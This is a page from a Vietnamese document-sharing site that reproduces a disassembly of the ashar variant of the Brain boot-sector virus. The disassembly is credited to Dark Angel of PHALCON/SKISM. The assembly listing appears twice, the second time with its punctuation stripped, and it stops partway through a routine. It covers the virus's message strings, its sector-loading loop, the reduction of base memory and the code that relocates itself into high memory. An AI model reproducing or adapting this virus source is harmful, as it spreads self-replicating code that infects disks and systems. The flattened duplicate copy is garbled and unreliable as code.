TAILIEUCHUNG - Code virus brain

Code virus brain : ; This is the ashar variant of the classic Pakistani Brain virus. It is large ; by today's standards, although it was one of the first. It is a floppy only ; boot sector infector. brain segment byte public assume cs:brain, ds:brain ; Disassembly done by Dark Angel of PHALCON/SKISM org 0 cli jmp entervirus idbytes db 34h, 12h firsthead db 0 firstsector dw 2707h curhead db 0 cursector dw 1 db 0, 0, 0, 0 db 'Welcome to the Dungeon ' copyright db '(c) 1986 Brain' db 17h db '& Amjads (pvt) Ltd VIRUS_SHOE '. | Code virus brain This is the ashar variant of the classic Pakistani Brain virus. It is large by today s standards although it was one of the first. It is a floppy only boot sector infector. brain segment byte public assume cs brain ds brain Disassembly done by Dark Angel of PHALCON SKISM org 0 cli jmp entervirus idbytes db 34h 12h firsthead db 0 firstsector dw 2707h curhead db 0 cursector dw 1 db 0 0 0 0 db Welcome to the Dungeon copyright db c 1986 Brain db 17h db Amjads pvt Ltd VIRUS_SHOE db RECORD Dedicated to th db e dynamic memories of millions o db f virii who are no longer with u db s today - Thanks GoOdnESS db BEWARE OF THE th db is program is catching prog db ram follows after these messeges db . db @ db @ entervirus mov ax cs mov ds ax ds 0 mov ss ax set stack to after mov sp 0F000h virus sti mov al ds 7C00h offset firsthead mov ds 7C00h offset curhead al mov cx ds 7C00h offset firstsector mov ds 7C00h offset cursector cx call calcnext mov cx 5 read five sectors mov bx 7C00h 200h after end of virus loadnext call readdisk call calcnext add bx 200h loop loadnext mov ax word ptr ds 413h Base memory size in Kb sub ax 7 - 7 Kb mov word ptr ds 413h ax Insert as new value mov cl 6 shl ax cl Convert to paragraphs mov es ax mov si 7C00h Copy from virus start mov di 0 to start of memory mov cx 1004h Copy 1004h bytes cld rep movsb push es mov ax 200h push ax retf return to old boot sector readdisk push cx push bx mov cx 4 Try 4 times tryread push cx mov dh ds 7C00h offset curhead mov dl 0 Read sector from default mov cx ds 7C00h offset cursector mov ax 201h Disk to memory at es bx int 13h jnc readOK mov ah 0 Reset disk int 13h force read track 0 pop cx loop tryread int 18h ROM basic on failure readOK pop cx pop bx pop cx retn calcnext mov al byte ptr ds 7C00h offset cursector inc al mov byte ptr ds 7C00h offset cursector al cmp al 0Ah jne donecalc mov byte ptr ds 7C00h offset cursector 1 mov al ds 7C00h offset curhead inc al mov ds 7C00h offset curhead

TAILIEUCHUNG - Chia sẻ tài liệu không giới hạn
Địa chỉ : 444 Hoang Hoa Tham, Hanoi, Viet Nam
Website : tailieuchung.com
Email : tailieuchung20@gmail.com
Tailieuchung.com là thư viện tài liệu trực tuyến, nơi chia sẽ trao đổi hàng triệu tài liệu như luận văn đồ án, sách, giáo trình, đề thi.
Chúng tôi không chịu trách nhiệm liên quan đến các vấn đề bản quyền nội dung tài liệu được thành viên tự nguyện đăng tải lên, nếu phát hiện thấy tài liệu xấu hoặc tài liệu có bản quyền xin hãy email cho chúng tôi.
Đã phát hiện trình chặn quảng cáo AdBlock
Trang web này phụ thuộc vào doanh thu từ số lần hiển thị quảng cáo để tồn tại. Vui lòng tắt trình chặn quảng cáo của bạn hoặc tạm dừng tính năng chặn quảng cáo cho trang web này.